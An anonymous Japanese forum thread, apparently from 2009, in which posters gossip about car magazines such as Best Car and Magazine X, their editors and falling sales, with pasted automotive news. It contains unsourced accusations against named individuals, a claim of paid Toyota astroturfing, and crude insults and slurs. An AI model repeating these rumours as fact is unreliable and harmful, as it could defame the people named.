メルツェデスｗを買った連中の金の一部が
>>325の糞連中の胃袋に収まったことだけは確かだ

>>309
芸文or交タイの中の奴　乙

乙

>>327
あー、おれもわからん
おしえてエロい人

>>331
？？？、ジョニー、たっちゃん、青山

青山っていうから尚輝かと思ってたウブな俺

尊師（または義太夫）、大便後ズボン上げ途中、メルツィーデス、ヲカマ
でオゲ？

ちゅーかこのヲカマ、若い頃のセレリに似てるな

ホントだ。ニューハーフだろｗ

オカマバーの従業員だろｗ

このMBJ広報、なんでこんな尊大な顔してんだ？
お客様あってのMBJじゃねえの？

いや、俺はお客様じゃねえから尊大でもいいけどよwww

>>325

お食事会とかいいつつ、MBJの倉庫の奥とかじゃね？
酒はメルシャンワイン
つまみはコンビニで買ってきたなとりの珍味とかさ

で、MBJの経費で落としてるわけか？

>>325
MBJってひげメタボカーディガンか？

ゲーハーちょんみたいな顔のジョニーって何モン？パパさん曹洞宗か日蓮正宗のお偉方？

ジョニーが意外にかわいい顔しててﾜﾛﾀ

ジョニーも往生際が悪いな
一度潰れた雑誌に広告出稿するようなスポンサーなんて今時いない
自費出版状態で二度目の廃刊確実だ

ジョニーってなに？
リーゼントで「おいでカモンカモーン」とか歌ってた偽ツッパリ？

>>338
>MBJってひげメタボカーディガンか？

いや、偽セレリの隣じゃね？

>>342
向かって右から、青山、たつ、ジョニだから、残りはメタボカーディガンしかいないよ

>>341
とっつぁん乙

・・・・・俺もか　orz

岩貞ついに致命的なミスをやらかしたなw
http://namidame.2ch.net/test/read.cgi/car/1196259085/l50

>>345
反復横飛びでもしてればいいんじゃん。
最近、ジムも行ってないみたいだし（ｗ

あんな腐れマムコは、ドクターヘリに乗せて、美ら海水族館に捨ててこい

>>347
謝れ、沖縄の人に謝れ！！

齋藤浩之編集長を切望

それでも、ひき逃げ犯を編集に雇うよりはマシじゃねｗ

トヨタ、２期連続営業赤字の見通し
ttp://www.jiji.com/jc/c?g=ind_30&k=2009041200093　

２０１０年３月期（米国会計基準）の
トヨタ自動車の本業のもうけを示す連結営業損益が２期連続で赤字になる見通しであることが１２日、分かった。
為替レートの想定次第では、赤字幅は前期予想の４５００億円を上回る可能性もある。

ttp://car.biglobe.ne.jp/bestcar/

最新更新日：4月7日
次回更新予定日：4月23日

【お詫び】4月10日発売のベストカー5／10号の106ページ「マニアックカークイズ」において、当選者の発表に間違いがありました。
お詫びして以下の通り訂正させていただきます。

3月10日発売のベストカー4／10号のマニアックカークイズの答えはレクサス・RXでした。

正解者は、あらためて4月26日発売のベストカー5／26号に掲載いたします。


相も変わらずベストカーはヨタへの太鼓持ちに余念がないらしい

ベストカー（三推社／講談社）と言えば、ヨコヤマという若手の編集者がＣＡＲトップ誌（交通タイムス社）に移籍したんだよね？
編集部内の高齢化に悩むＢＣにとってヨコヤマに逃げられたのは、いわば尼子晴久が新宮党を粛清したのと同じだと思うけど…

乳図のあるお偉いさんが神をばい菌のように嫌っているそうですワ。
「能なしの癖に策を弄する様が見ていて不愉快」だそうですワ。

>>353
あれはブンヤのことで確執があったんじゃないの？
そのブンヤも異動したが、未だに自動車関係の雑誌で編集させてる
出版社の神経を疑うが。

ＣＡＲトップ誌（交通タイムス社）が月刊誌だからなのか、自動車専門情報誌として内容が濃密（少なくともベストカーと比較にならないほど記事重視）という感じがする。
ベストカー（三推社／講談社）は、いまだに新車スクープ情報記事に偏り過ぎていて、他誌と読み比べると粗雑という印象は否めない。

でも抜群に誤植が多いのもCARトップ。

ベストカーの場合は写植業者さんが誤植しているんじゃなくって
編集者の誤字・脱字がハンパじゃないんだと思う。

写植屋が誤植ｗ
いったい何時の話をしてるんだ
さすが世間知らずの基地外童貞ビチグソニート

358 名前：匿名希望さん[sage] 投稿日：2009/04/15(水) 19:08:20
ベストカーの場合は写植業者さんが誤植しているんじゃなくって
編集者の誤字・脱字がハンパじゃないんだと思う。

こーせーしてくださいよｗ

落丁、乱丁などの不良品がございましたら、講談社業務部までお送りください。良品とお取替えいたします。

>>355
出版社というか、三推社が講談社の100％子会社である事情から察するに
ベストカー編集部が抱える問題（おそらく人間関係）が深刻化していると思われるけどね
ここ数年で、いわゆる「血の入れ替え」は何度か試みているらしいけど、編集人・カツマタとしては
出世コースから外れたと思われる輩の処置に困り果てているんじゃないのかな？

夫馬コテつけろや鬱陶しいんだよ

ずぼしか

ず

三推社/講談社ベストカー（編集人 勝股優）連載記事「俺と疾れ！！２００９」を読むと、
2009．3．26号、4．10号、4．26号では、読者から寄せられた質問に
「徳大寺有恒」こと杉江博愛が回答させていただくコーナーの、見出しに注目して欲しい。
「レガシィが心配だ」（09．3．26号）「ヴィッツが好きだ」（09．4．10号）「新型プリウスを！」（09．4．26号）
などと、あからさまに連載記事担当編集者の悪意（ヨタ系メーカーへの太鼓持ち）が確認できる。

ベストカー編集部や、編集人・カツマタより
連載記事担当編集者にこそ問題があるんだろう？
「徳大寺有恒」こと杉江博愛がヨタへの提灯記事は書きたくないと拒否する事も不可能ではない筈だからな。
あえて何処の誰とは言わないけどな、ベストカー「俺と疾れ！！」担当ほど悪質な輩もいないと思うぞ（嘲笑）

無職童貞基地外ビチグソニート（嘲笑）

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つか、俺と疾れ！！は投稿者と徳さんの返答が噛み合ってないよなｗ

センスの悪い編集部/編集者
http://love6.2ch.net/test/read.cgi/zassi/1013457194/

>>370
以前は投稿者を論破する（ように見せかける）芸風だったのにね

ドライバーで、そ山さん出なくなったのはなんで？

ベストカー今号94ページにＴＢＳアナウンサーの記事が掲載されている。
これって単純に担当編集者の独断なのだろうか？
他局のアナウンサーに取材なり、寄稿させるなんて事も不可能ではないはず。
それともベストカー（というより三推社の親会社・講談社を擁する音羽グループ）と、
ＴＢＳとの関係（媒体こそ違えど同じマスコミということ）を強調したいという意図なのかな？

>>374
安東さんは車好きってことで何度も誌面に出てるからだろ。

夫馬になに言っても無駄だよ

>>375
過去にも、ご登場いただいているのであれば尚の事
ＴＢＳアナウンサーにコダワル理由が、わからない。
講談社という虎の威を借りるベストカーならではの事情か？
他局にだって、車が好きなアナウンサー氏はいらっしゃるだろうに…

ああいっぱいおるね
蛆テレビには　

>>378
そんな局名なんて聞いた事ないけど

宇治テレビ？

富士電視

マガジンＸにヴェルファイアマイナーチェンジの記事てある？

マスコミ関係者は収入が悪くないのかな、いわば専門職のようなスタンス?

蛆ってCXかい　ポルシェ乗り5人はいるな
俺の知り合いだけど。
大体お坊ちゃまばかり
テロ朝にもマニアがいるな

熱心な自動車ファンと書き改めた方が宜しいかと

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デマ雑誌こそが犯罪者
デマ雑誌こそが犯罪者
デマ雑誌こそが犯罪者

Ｃの次に飛びそうな雑誌は？

669 ：匿名希望さん ：2009/05/05(火) 19:49:55
大量の社員に逃げられたらしい。いきなり５人も退社ってすごいな。
残っているのは事情に疎いマヌケか、
どこの出版社でも引き取り手のないような無能者ばかりだそうだ。
ＭＧＸなんかこのエコの時代に不要ってことでそろそろ無くなるようだし、
この会社は確実にアウトだな。
672 ：匿名希望さん ：2009/05/07(木) 15:31:35
MAG-X 当当当さんなの？
673 ：匿名希望さん ：2009/05/07(木) 21:00:11
いよいよ最期が迫って
隠していた
ボロが次々に明るみに出ているな

オートメカニックってホントやばいよな。
エンジン寺子屋ってかなり嘘つきな記事だし。

６月号も、
プレイグニッションをデトネーションと勘違いしてるし。

どこも急激に部数を落としてるけど、ベストカーだけは無理やり30万部を
維持してるね。でも、本当に無理やり維持してるのが丸わかりだから、30万部
を維持できなくなったら、どんどん部数を減らして、10万部も切りそうな予感ｗ

|　編集長、とんでもないスレを発見しますた。 |　　　　　|　頼むから仕事してくれ。　|
＼ 　 　　　　　　　　　　　　　　　　　　　　 　 　 ／　　 　 　 ＼ 　 　　　　　　　 　 　 　 ／
　 ￣￣￣)／￣￣￣￣￣￣￣￣￣￣￣￣￣　　　　　　　　 ￣￣＼(￣￣￣￣￣￣
　　　 　　　　　.＿＿_
　＿　∧∧　 .!|＼＿_＼ .r──‐､　　　　　　　　　 f'ゝ､￣`.､ 　　　　∧＿∧
　||l　(,,ﾟДﾟ)　 ||/ !　i　　|.|.　　　　|.￣￣//.|　　　| ヾ.,,f￣￣i:.￣＼. （´∀｀　 ）､
　||ｌ::/　つつ,ヾ＼|__.i___/ L..f^i　__j 　　//　|　　　| 　 ＼rヾ三三i 　⊂ ⊂　　）:I
　 Ｌ二／⊂〜ヾ;' !i'￣￣ﾞ||ヽ.───//ｉ　 |　　　|:.　　　ヾ.三三r､---､＼ 　 | |
　　.／　　　　／　||　　　,.||_,|ζ　　 // :|　/. 　 　＼　　　　＼ヽ i三三i三三i.ソ
　　|"￣￣.／　　/三三三/θ　　 //　 |./..　　　　　＼　　　　＼ヾ三三i三三i
　　| 　 　 ||￣￣ :|￣￣￣||: ￣￣|:|　　/　　　　　　　　＼ 　 　 .||￣￣￣￣￣|
　　|＿＿_||￣￣ :|::::::::::::::::||: ￣￣|:|　./ 　 　 　　　　　　　＼　　||:　　　　　　　|
　　　　　 .||:.　　　 ￣| |￣　 　 　 .|:|_/ 　 　 　 　　　　　　　　＼ｌ||＿＿＿＿＿|

やばそうな会社からは

今月中には金を集めないとな。

三栄？

マガジンxのデミオビッグチェンジって、中国のパクリカーだったの？

そう。
恥ずかしいったらありゃしない。
普通だったらBLOGの方で訂正入れるのにそれすらしないということは、
それができるスタッフがもういないんだろうね。

「メーカーの広報資料」を
「スクープ」と見出し付けて
何十ページも載せているだけ。

ブログもネットサーフィンして
よその集めたネタを勝手に要約しているだけ。

犯罪者を編集で使うよりはマシ

もう飛ばされたんでしょ。

マガジンXは今月発売が最終号？

ベストカーからフェネックに異動じゃあ、とばされたうちに入らないだろ？
フェネックだって自動車・アウトドア誌なんだから、広い意味での自動車雑誌。
本当に、ひき逃げが社会的に悪だと思っているなら、そもそも採用しないし
公になった時点で解雇するはず。三推社はひき逃げ、しかも死亡事故でも
大したことだと思ってないのが問題。

最後の良心 ざ・総括について語るスレ
http://namidame.2ch.net/test/read.cgi/car/1242583876/

もう少しまともな雑誌で続けてほしい企画だな。

>>401
やけに詳しいんだな、
もしかしてベストカー編集部関係者?

ベストカーで創刊当時（月刊ベストカーガイド）、
創刊30周年を祝っていた頃の記事で、
創刊当時は編集部内で車に詳しい者はいなかったというのが載っていた。
どうやら芸能ゴシップ記者の寄せ集めで
ゴミクズ雑誌を創刊したということだと思う。

シロウトでも車雑誌を創刊できたのは、講談社という後ろ盾があってこその事。
杉江博愛名義でBCG創刊に参加した、自動車評論家の｢徳大寺有恒｣の存在も関係しているものと推測される。

トプもホリデも似たようなもんだったぞ。

>>406
いくら何でもウメキにテラサキよりは比較にならないほどマシかと

新車スクープは
「ベストカー」１冊で充分。
「ニューモデルマガジンX」は、
情報提供者を売ろうとしたことがあるらしいから、
これからタレ込もうという人は気を付けろ。

ベストカーのスクープだって、スクープという名のメーカーのリークじゃん
こんな馴れ合いばっかりやってるから雑誌は売れなくなり、若い連中はクルマに興味を失うんだよ

ダイハツ、軽のソニカ製造終了 生産ラインを集約



　ダイハツ工業は２７日、本社工場（大阪府池田市）で２本ある自動車生産ラインを５月に１本に集約し、
販売不振が続いている軽乗用車「ソニカ」の製造を４月中に終了することを明らかにした。
不況で販売台数が低迷しているため、生産効率化を図る。

　併せて、本社工場と京都工場（京都府大山崎町）、滋賀工場（滋賀県竜王町）で非正規労働者を５月に
計約５００人追加削減し、非正規の人数を計約１４００人に圧縮する。
ライン集約で本社工場で働く生産現場の正社員の一部を京都工場、滋賀工場などに異動させるため。

　本社工場の生産能力は年２４万台だが、うち存続するラインの生産能力を高めて年１８万台とする。
本社、滋賀両工場で手掛ける主力軽乗用車「ムーヴ」の生産は、滋賀工場に１本化する。

　車高が低くスポーティーな外観を重視したソニカは２００６年６月に発売した。
しかしムーヴなど室内空間が広い軽乗用車が人気を集める中で苦戦を強いられ、０８年度の販売台数は
前年度比３７％減の約３８８０台に落ち込んだ。


47NEWS
http://www.47news.jp/CN/200904/CN2009042701000850.html

カツマタが三推社ベストカー編集長の座をイイボシに禅譲しない理由として有力視されているのは、
イイボシ編集長代理が個人的にプロ野球・阪神タイガースの熱心なファンだからだという説がある。

月刊シーの復刊は？
前編集長の背任行為のおかげで
雑誌が休刊になったらしいけどw

>>411
お前くだらね〜な。どうみても、ただの読者だろ。

はいはい、これにレスしなくていいからな。

じゃ〜ね。

そうそう、ま、一生買ってくれな、ベストカー。毎度あり！　だよ。

>>410
「ニューモデルマガジンX」スレより
134 ：名無しさん＠そうだドライブへ行こう ：2009/05/25(月) 23:49:58 ID:TDauUfBo0
ダイハツ・ソニカを他社にOEMとの誤報、実は生産終了という大ボケ。
生産終了とOEMと正反対じゃないかｗ

C（シー）玉砕ざまぁwwwww
創刊から1年持たないとか、どんだけ時代読めてねぇんだよ

NABI、ENJINEだけでも糞うざいのに
その二番煎じ→バブル崩壊でなんちゃって富裕層と心中か？

雑貨ーでパシリやらされてますw

>>414
251 ：匿名希望さん ：2008/07/21(月) 23:44:18
>>245
ホールディングス最高幹部のひとりとして存在感を出さないと
御代志も結局いうこと聞くちょろいやつよ
　by神領拝

今月もまったく売れてないな

まがｘ　１０部入荷しました

近所のF家書店の車雑誌コーナーが無くなってましたｗ

講談社ビーシーとして新たな出発する機会に、
ブンヤをやめさせる可能性が高そうだ。

誰も話題にしてないようだけどGワークスの失速ぶりもすごいぞ
創刊号からほぼＺ・スカイラインの特集ばかり
旧車雑誌はネタが限られてくるといってもあれじゃ飽きないほうがおかしい

そんな同人誌は知りません

ナビが創刊時のノリに戻ってきてるな、ムカつくぜ？
今さらかよ？

変な服の外人モデルや悪趣味な時計の広告満載で
潰れるまで突っ走ればいいのによwww

エンジンを見習ってるんだな

ジローラモが登場するとその雑誌は廃刊になる

NAVIの創刊時のノリってどんなノリ？

Ｏ川が変臭長だっけか。
レンジローバーとかＲＸ７でビジネスエクスプレスとか、
たかりテイストは変わらんと思う。
コータリとか田中康夫とかスズキとか同じ匂いの連中が集まる土壌はすでにあったな。

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>>428
ほんとに創刊号見たことあるのか？

もう、派手に宣伝してたことくらいしか覚えてないよ。

次に逝きそうなのは？

どうやらティ●ポが決定らしい

>>433「どうやら」「らしい」
オマエのネタにはどこにも真実味が無いなw。プッ。
激しくワロタw。クックックッ。。。

笑っていられる状況なのかなｗ

いや、別にその関係者じゃないし。笑って何が悪いんですか。
それよりも、さすが便所の落書きだな、と。プッ！
「どうやら、ボクは関係者らしい」ですね、クックックッ。。。
で、あなたはどちらのお偉い様ですか？

ソースがあろうがなかろうが
数ヶ月もすりゃ答えが出ちゃうから楽しみだね。

クックックックックエスッチョーン（クエスチョーン）
こいのしくみを

碑文谷はどうなっちゃうのかな。

チンポやろ

こんなとこでやりあってないで、ネコスレ行け。
おまいら、所詮は便所の落書きなんだから本気になるな、ボケ！

月刊Ｃホントに復刊すんの？

「ニューモデル・マガジンX」の神領は、
自己保身のために、
情報提供者を売るから、
タレ込もうという人は気をつけろ。

神領って、なぁに？

>>444
http://love6.2ch.net/test/read.cgi/zassi/1231000339/

スズキ、露工場の建設延期　経済危機で需要急減

　インタファクス通信は１０日、スズキの現地法人幹部の話として、同社がロシアでの自動車工場建設計画の延期を決めたと伝えた。
経済危機によるロシアでの自動車需要の急減などが理由という。延期の期間などは不明。

　スズキは２００７年、伊藤忠商事と共同出資でロシア第２の都市サンクトペテルブルク郊外に工場を建設すると表明。
小型四輪駆動車「グランド・ビターラ」と小型のスポーツタイプ多目的車（ＳＵＶ）「ＳＸ４」を生産する予定だった。

MSN産経ニュース
http://sankei.jp.msn.com/economy/business/090611/biz0906110919003-n1.htm

売上トップのはずのベストカーからしてもう読むところが無いんだよな…。
金持ちの所有車自慢をウリにして誰が買うんだろ。

電通が赤字に転落したんだよ。
広告依存でまともな人材がいない業界が生き残れるわけないじゃない。

個人的な意見ですけど
読み物としてオススメはCAR and DRIVER誌〔日本版〕かと

そういうのは車板の雑誌スレに書いてくれ

　　　　　 　 ／￣＼　　　　　　　　 　　　　　／￣＼ 　　　　　　　 　　　　／￣＼ 　　　　　　
　　　　　 　|　　壱　| 　　　　　　 　　　　　　|　 弐　|..　　　　　　　　　　　|参 　　.|
　　　　　 　 ＼＿／ 　　　　　　　　　　　　　＼＿／ 　　　　　 　　　　　　＼＿／
　　　　　　 　 |彡| 　　　　　　　　　 　 　 　 　 |彡| 　　　　　　　　　 　 　 　 |彡|
　　 ヽ |　|　|　|　|　|　|　| / 　　　　　ヽ |　| ⌒ |　| ⌒ |　| / 　 　　ヽ |　|　|　|　|　|　|　| /　
　　 　|　　　　＼ 　　 ／　|　　 　 　　　| −[ ●]−[●]− |　　　　　|　ノ　　　＼　　 　 |　　
　　／　　 −[ ●]−[ ●] ＼　　 　 ／::::::⌒（__人__）⌒::::: ＼　　 ／ [●]ー-[●]− 　 .＼　
　　|　　　　　⌒（__人__）⌒ 　| 　 　 |　　　　　|r┬-|　　　　　|　　|　　　（__人__）　　　　　　|
　　＼　 　 　 　 ｀⌒⌒´　 ,／ 　　　＼　　 ､　`ー'´　,　　 ／ .　　＼ 　 ｀ ⌒´　 　　　　／　
　　皿皿_　　ゝゝ ー‐　´ .皿. 　 　　　皿　 　｀ .ー　´　　皿　　　　　皿　　ー　´´ 　皿皿　　
　　　　　　　　　　　　　　　　　　　　それはしょうがないナリ　　　で、今後はオイラたち３人で
　ｵｲﾗ、ヱラン売っちゃったナリ 　　左手首のTFCC損傷　　　　原稿を埋めないといけないナリ
　　　　　　　　　　　　　　　　　　　　　はヱランのせいナリ

>>450
検索しても見つからない
リンクよろ

どのメーカーにも公平な「CAR and DRIVER」を見てます
あとJAFの「JAFMATE」も自動車雑誌じゃないけど信頼できる

自動車雑誌も原点に帰って「JAFMATE」みたいな紙面にすると売り上げも回復すると思う

「JAFMATE」の燃費テストは良かったぞ
燃料ラインに「流量計」を付けて、走行の「実際の燃料使用量」を実測した
こんなまじめな企画をしてほしい。

>>453
JAFMATEは利権の巣窟なのに。

その利権の巣窟が出す雑誌にすら内容が劣る商業自動車誌ってｗ

月刊Cいつになったら復刊？

トヨタグループ（連結子会社数５８１、持分法適用会社数５１、２００５年４月現在）

トヨタグループ

自動車会社　　　　　　　　　　トヨタ自動車

自動車連結子会社　　　 　　日野自動車、ダイハツ工業

国内製造連結子会社　　　　トヨタ自動車九州、トヨタ自動車北海道、トヨタ車体、関東自動車工業、豊田紡織、アラコ

国内製造持分法適用会社　豊田自動織機、愛知製鋼、豊田工機、アイシン精機、デンソー、豊田合成、アイシン・エィ・ダブリュ

国内販売店　　　　　　　　　　東京トヨタ自動車、東京トヨペット、大阪トヨペット、トヨタ東京カローラ、東京日野自動車、兵庫ダイハツ販売

金融会社　　　　　　　　　　　 トヨタファイナンス、トヨタモータークレジット


トヨタグループ
ttp://khoohsan.sub.jp/infoexpress/data/theme25a.htm

>>458
http://www.clutch-jp.com/
会社のページは逝ったよ

雑誌編集者らしき書き込みが皆無なのがつまらない。どうせ書店のバイト従業員がヒマつぶしに書き込んでいるんだろう

ジョニーも「人生前向き」なんていっている割には
情報公開は後ろ向きだな

去年の暮れの段階でもうかなりヤバイというのは判っていたんだけどな

雑貨休刊オメ

>>463
http://www.carmode-eshop.jp/shopdetail/002026000003/
これのこと？

フリーマガジンだけど、ハイウェイウォーカー、面白い。
三本和彦は、日本で唯一まともなモータージャーナリストだと思うな。

>>465
２行目ですね。笑いのポイントは。

ダイハツ、軽のソニカ製造終了 生産ラインを集約
http://www.47news.jp/CN/200904/CN2009042701000850.html

　ダイハツ工業は２７日、本社工場（大阪府池田市）で２本ある自動車生産ラインを５月に１本に集約し、販売不振が続いている
軽乗用車「ソニカ」の製造を４月中に終了することを明らかにした。不況で販売台数が低迷しているため、生産効率化を図る。

　併せて、本社工場と京都工場（京都府大山崎町）、滋賀工場（滋賀県竜王町）で非正規労働者を５月に計約５００人追加削減し、
非正規の人数を計約１４００人に圧縮する。ライン集約で本社工場で働く生産現場の正社員の一部を京都工場、滋賀工場などに
異動させるため。

　本社工場の生産能力は年２４万台だが、うち存続するラインの生産能力を高めて年１８万台とする。本社、滋賀両工場で手掛ける
主力軽乗用車「ムーヴ」の生産は、滋賀工場に１本化する。

　車高が低くスポーティーな外観を重視したソニカは２００６年６月に発売した。しかしムーヴなど室内空間が広い軽乗用車が
人気を集める中で苦戦を強いられ、０８年度の販売台数は前年度比３７％減の約３８８０台に落ち込んだ。

>>464
738 ：匿名希望さん ：2009/06/20(土) 09:43:21
タツも雑貨ーに拾って貰えて命拾いしたなｗ
交通タイムスに身売りしてなかったら惨嬰では絶対使って貰えなかったはず
なんせタツは惨嬰と猫は出入り禁止、おまけに月刊死ーで色々と悪さしたせいで主要インポーターからも出入り禁止状態
ザッカーみたいなDQN雑誌しか拾わないだろうなｗ

　二玄社って最も硬質な社風なの

硬質というか陰湿イジメ体質というか

おまえらの額を泥につけて、ヒィヒイ言わしてやるからな！
今に見てろよ。オレが業界の天下を必ず取ってやるからな！
まぁ、まってろよ。コレで雑貨が手中に入ったわけだし
ガンガン押しまくってやるからな。
局長席はオレが必ず執る！ 福田光一が必ずなっ！
屎共、オレに跪いて、命乞いをしろっ！

http://love6.2ch.net/test/read.cgi/zassi/1229158136/462

462 ：匿名希望さん：2009/06/07(日) 09:37:51
社長以下、現体制はお払い箱になるだろう。
これは心機一転、新しい新社長のもと、光文社、講談社からの
出向組がきて、講談社のエンタテインメント系の編集部門として
新しく出発するということだ。

残念だな、夫馬ｗｗｗ　お前ももうすぐ生きがいがなくなるな。

何か良からぬ事に手を染めたのか

昨日、御三家の編集と飲んでたら泣かれちゃったよ。
教育費と住宅ローンの支払いが苦しくて苦しくて、と…。

それなりに親しい奴だけに、こっちもせつなくなったよ。

http://response.jp/issue/2009/0620/article126258_1.html

>>475の書き手自身が「ゆとり」じゃねえの？

これってプロなのか？

元三栄だっけ？

◆◆◆◆◆ネット上のトヨタ工作員（オールトヨタネットワーク分科会）にご注意ください◆◆◆◆◆

トヨタ自動車ネット対策チームが、２ちゃんねるをはじめとするネット上で工作活動を始めて以降、
２ちゃんねるではトヨタ擁護のレスが急激に増えました。彼らは自動車系・レース系・F1系・時事系の
スレに満遍なく蔓延り、交代制で複数の工作員が常駐しています。時給は不明ですが、マニュアルが
あり、やはり秘密厳守だそうです。車種・メーカー板は、今や相当数が彼らのレスで占められてしまって
います。 改めて彼らの特徴を記します。

１、ホンダ・日産は悪い、トヨタは良いと主張する
（が、言動を見ると大変頭が悪い、批判派に常に論破されている、頻出）。
２、一人がスレを立てると、まもなく必ず数レス同意の旨を伝えるレスがつく
（マニュアルの最優先項目の一つか）。
３、ホンダ・日産工作員の存在を捏造する
（「低所得者」「貧乏人」「ヲタ」という呼び名で不自然にも満場一致させる）。
４、論破されると大量のAAで荒らす。これは一見カッコ悪いがマニュアルに従う。極めて頻出。
５、攻撃されると、そのまま文章を引用改変して反撃する（オウム返しレス。反論不可能・被論破の証明）。

豊田社長を正式決定　「チーム章男」で難局に挑む　トヨタ自動車
http://www.business-i.jp/news/flash-page/news/200906230119a.nwc


　トヨタ自動車は２３日、株主総会後の取締役会で、豊田章男副社長の社長昇格を正式に決めた。
章男氏は豊田章一郎名誉会長の長男で、実質的な創業者である故豊田喜一郎氏の孫。創業家出身の社長は１４年ぶりとなる。

　豊田新社長の最大の課題は業績の立て直しだ。金融危機後の自動車市場の収縮を受けて、平成２１年３月期の連結業績は、
本業のもうけを示す営業損益が４６１０億円の赤字（前期は２兆２７０３億円の黒字）となり、昭和１６年の決算公表以来、
初の赤字に転落。平成２２年３月期の連結営業損益はさらに悪化し、８５００億円の赤字になるとみている。

　業績悪化の背景にあるのは、拡大し続けてきた生産体制にある。１４年以降、旺盛な自動車需要を背景に世界各地に生産拠点を
開設し、年間約５０万台のペースで販売台数を伸ばしてきた。
２０年の世界販売台数（ダイハツ工業、日野自動車含む）は８９７万台に達し、米ゼネラル・モーターズ（ＧＭ）を上回り、悲願の世界一に立った。
だが、金融危機後、自動車需要が急速に落ち込み、生産能力と需要のギャップが大幅な業績の悪化を呼んだ。

最近のベストカーの政治系の記事が
あからさまにミンスヨイショできもい。
まぁどのマスゴミもそうだが、もうちょい公平なものの書き方してほしい。

ベストカーに政治系の記事なんかあったか？

ミンスよいしょじゃなくてメーカーよいしょだよなぁ。
一般誌だとトヨタやホンダの首脳に対する批判は結構出てるけどね。
まぁ、ゴーン氏の役員報酬には文句言ってるけどなｗ

244 ：名無しさん＠そうだドライブへ行こう ：2009/06/26(金) 13:46:04
とうとう近所の本屋magX置かなくなったよ

全く読むところがねぇw

>>483
相変わらずスクープ糞すぎ見る気もない

http://namidame.2ch.net/test/read.cgi/car/1246171392/

http://love6.2ch.net/test/read.cgi/zassi/1242209449/797

【もう】休刊・廃刊情報局　５冊目【だめぽ】
797 ：匿名希望さん：2009/07/01(水) 12:45:52
講談社内の芸能ゴシップ編集者が以前、「ベストカー」を創刊するという名目で
三推社（元講談社ビーシー）に異動させられてる。当時は編集部内で車に詳しい者は
いなかったらしい。講談社ビーシーはクルマからエンターテイメント系に変わるらしいが
また講談社から異動させられる輩がいそうだね。でも、それでもマシかもしれない。
講談社の廃刊雑誌が多そうだし異動させられる人数から考えると、ビーシーの編集ははじかれ
そう。記事でも当面は社長以下現体制でやると書いてあったことから、しばらくしたら
変わるということだからね。

プリウス「静かすぎる走行」に“擬音”検討
ttp://response.jp/issue/2009/0703/article126835_1.html

視覚障害者らから
「車(プリウスなどエコカー)の接近に気付かず、危うく衝突するところだった」などの声が上がっており、国土交通省は、
有識者や業界団体、視覚障害者団体など関係者を集めた対策検討委員会を設置し、対応策の検討を始めたという。
検討委員会では「危険を知らせるために人工的に音を出す仕組みを作るなど、必要な対策を年内に打ち出す方針」だが、

プリウスは「静かな走行」が売り物だけに導入には議論が分かれるところだろう。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
　　↑
この件に関して、卜ﾖﾀにはガツンと言ってやって当然じゃないのか？

>>487
ほんとうにベストカーが廃刊される日が来たら、どこの誰とは言わないが、上席副編集長と次席副編集長は逆上するのでは？

自分らの行った事も責任は負わないという厚顔無恥っぷりは講談社への逆意なのではないかと思うのですけれど？

２ｃｈ引退するする詐欺はどうなったのですか？

それを言っちゃオシマイｗ

そういえばブンヤって現在どうしているのさ？

早く寝れよ、6x70。
悔しくて眠れないのか？

ここでもキチガイっぷりを晒しているか

>>493
FENEKに異動。
どうも講談社グループで大規模なリストラがされる模様。
これを機にリストラされる確率が高いかもな。

>>496
まだ40前なので、音羽グループに残留できないものかと祈念
イイボシやイチハラは編集人経験者なのでプロテクトされる可能性はあるのではと予測

自分の職の心配しろよ、下切ちゃん

俺の人生はもう破綻してしまったので
このまま寿命尽き果てるのを静かに待つのみ

>>497
講談社ビーシーは講談社グループ内で底辺なので無理。
リストラされると再就職は難しいだろうな。
出版社はおそらく無理。この不況ではどこもリストラの嵐なのに
ブンヤのような人間を雇うところはないだろう。

ブンヤの人脈は？　いずれにしても決めるのは講談社サイドの人間。　
気になるのは叩いてる連中がブンヤの能力について触れていない点。

　ところで日本国内の自動車専門情報各誌は、多かれ少なかれ新聞社との繋がりがあるものなの？
　たとえばwebCGの場合は日本経済新聞社のサイト内に鎮座している訳だけれど

鎮座？
webCGは日経が部門ごと買ったんだよ

日経新聞を我が家で購読しているけれど、専門性の高い分野という事でwebCGを選んだのでは？
おそらく餅は餅屋という方針なのでは？

>>504
夫馬、ちょっと恥ずかしいぞ

ところでモーマガ社さんは、どの新聞社と取り引きあるの？海外紙とか？

>>505
俺が最低劣という趣意のレス？

マガジンX 大量に売れずに残っている

>>508
確か26日発売でしょ、その雑誌って

こう言っては何だけど26日発売というのは給与支給日というタイミングに、お買い上げいただこうという方針なのですかね？

おめー給料なんかもらってねえじゃん

夫馬さんはどこでも面白いなー

>>511
雇われ者の稼ぎなんて…

>>512
面白いとかじゃくて、ただ単に「こいつオカシイな」と、笑い者にしているだけでしょう？

ロドニー役の黒人
かなりよく見かける俳優だな

誤爆したわ

だめだべ

本が売れないと編集に責任が及ぶものなの？

どの雑誌を考えながら言ってるのか知らんけど
まず営業が怒られるのでは？

ノルマなんてあるのかな、この世界も

この業界、最も栄えていたのはバブル景気の頃ですかね？

TBSで所さんがメインの車番組、テレ朝でCGTV、TXNでモーターランド、tvk新車情報…テレビ媒体の情報番組も週に何本かあったような

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タイムリー性が無くて
他の雑誌でボツにされた
中川、田母神のインタビューを載せて
自己満している
マガジンＸ
今月もまったく売れてないわ
そのうち実売率も教えろとか言われるかもな。

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書籍の作り方や一連の常識を知らない編プロ上がりが編集長やってる
バカ辰巳

どうして小学館や集英社といった出版社は
自動車専門情報誌を創刊しないのですかね

儲からないからです

レスを有難うございます　大変勉強になります。m(_ _)m

ベストカーを、引き受ける出版社は在りますか

250 ：匿名希望さん ：2009/05/26(火) 23:15:50
>>240
一ツ橋……というか大手は車雑誌はないよ。
講談社ですら、わざわざ三推社という車専門の出版社を設けてまで
出しているわけだし。

251 ：匿名希望さん ：2009/05/26(火) 23:23:33
ベストカーを編集してる三推社って編集部が２つしかないんだよね。珍しくね？
ベストカーとfenek……これだったら講談社内で編集した方が安上がりなのにな。

258 ：匿名希望さん ：2009/05/27(水) 06:12:33
>>251
二輪・四輪雑誌は反社会的な存在なので、
一流（だと思ってる）出版社は直接手を下さない。
カミナリ族の頃の名残りだと聞いたけど、真偽は
どうなんだろ。

車のことを何もわからない
台割りをはじめ雑誌の作り方も知らない
編プロ社長が編集長に居座っているくらいだからなｗ

とは言え日本国の基幹産業は自動車に他なりませんので
とうぜん専門情報誌を望む方は少なくないかと

専門誌なんて3流出版社しかやらんよ
